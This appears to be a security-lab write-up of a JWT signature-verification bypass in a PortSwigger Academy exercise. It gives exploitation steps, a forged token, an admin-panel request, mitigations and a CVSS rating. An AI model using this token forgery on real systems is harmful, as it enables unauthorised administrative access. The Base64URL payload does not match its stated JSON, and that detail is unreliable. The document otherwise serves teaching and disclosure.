

Title of Issue

JWT Authentication Bypass — Unverified Signature Allows Token Forgery

Description

The application uses JSON Web Tokens (JWTs) for session management. The server fails to verify the cryptographic signature of JWTs before trusting their payload. An attacker who obtains a valid JWT (e.g., by logging in with a low-privilege account) can decode the token, modify the payload to claim a different identity (e.g., `administrator`), and re-submit the token with the original signature. Because the server never validates the signature, it blindly trusts the tampered payload and grants elevated privileges.

Affected Mechanism: JWT session token (cookie: `session`) **Root Cause:** Server does not verify JWT signature before processing claims

Steps to Exploit

1. Log in as `wiener:peter` and capture the session JWT from the response cookies.
2. Decode the JWT — it consists of three Base64URL-encoded segments separated by dots:
 - **Header:** `{"alg":"RS256","typ":"JWT"}`
 - **Payload:** `{"iss":"...","sub":"wiener","exp":...}`
 - **Signature:** `<cryptographic signature>`
3. Modify the payload to change `"sub"` from `"wiener"` to `"administrator"` :

```
{"iss":"portswigger","sub":"administrator","exp":1700000000}
```

4. Re-encode the modified payload as Base64URL.
 5. Reconstruct the JWT: `<original-header>.<modified-payload>.<original-signature>`
 6. Replace the session cookie with the modified JWT.
 7. Navigate to `/admin` — the server grants administrative access without verifying the signature.
 8. Delete user `carlos` via the admin panel.
-

Proof of Concept

Original JWT (wiener):

```
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTcwMDAwMDAwMH0.<valid-RS256-signature>
```

Decoded Payload (original):

```
{
  "iss": "portswigger",
  "sub": "wiener",
  "exp": 1700000000
}
```

Modified Payload:

```
{
  "iss": "portswigger",
  "sub": "administrator",
  "exp": 1700000000
}
```

Modified Payload (Base64URL encoded):

```
eyJpc3MiOiJwb3J0c3dpZ2dldiIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE3MDAwMDAwMDB9
```

Forged JWT (original header + modified payload + original signature):

```
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJwb3J0c3dpZ2dldiIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE3MDAwMDAwMDB9.<original-RS256-signature>
```

HTTP Request to admin panel:

```
GET /admin HTTP/1.1
Host: <lab-id>.web-security-academy.net
Cookie: session=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.<modified-payload>.<original-sig>
```

Response: HTTP 200 — full admin panel access granted.

Impact

- Complete authentication bypass — any user can escalate to any other account including `administrator` .
- Full administrative compromise of the application.
- Ability to perform any privileged action (user management, data access, configuration changes).
- JWT is rendered entirely untrustworthy as an authentication mechanism.

Mitigation / Remediation

1. **Always verify the JWT signature** server-side before processing any claims — use a proven JWT library (e.g., `python-jose` , `jsonwebtoken` , `java-jwt`) and never skip signature validation.
2. **Reject tokens with an invalid or missing signature** with a 401 Unauthorised response.
3. **Use asymmetric signing (RS256/ES256)** with the private key stored securely server-side; only the public key is used for verification.
4. **Validate all standard claims** (`exp` , `iss` , `aud`) in addition to the signature.
5. **Do not implement JWT verification logic manually** — use actively maintained libraries.

CVSS Score

CVSS v3.1 Score: 9.8 (Critical) CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVSS Justification

Metric	Value	Rationale
Attack Vector	Network	Exploitable remotely via HTTP
Attack Complexity	Low	Token modification is trivial with Base64URL tools
Privileges Required	None	Any JWT (even from a free account) is sufficient
User Interaction	None	No victim action required
Scope	Unchanged	Impact within the application boundary
Confidentiality Impact	High	Full access to all user and admin data
Integrity Impact	High	Admin can modify any application data
Availability Impact	High	Admin can delete users or disrupt service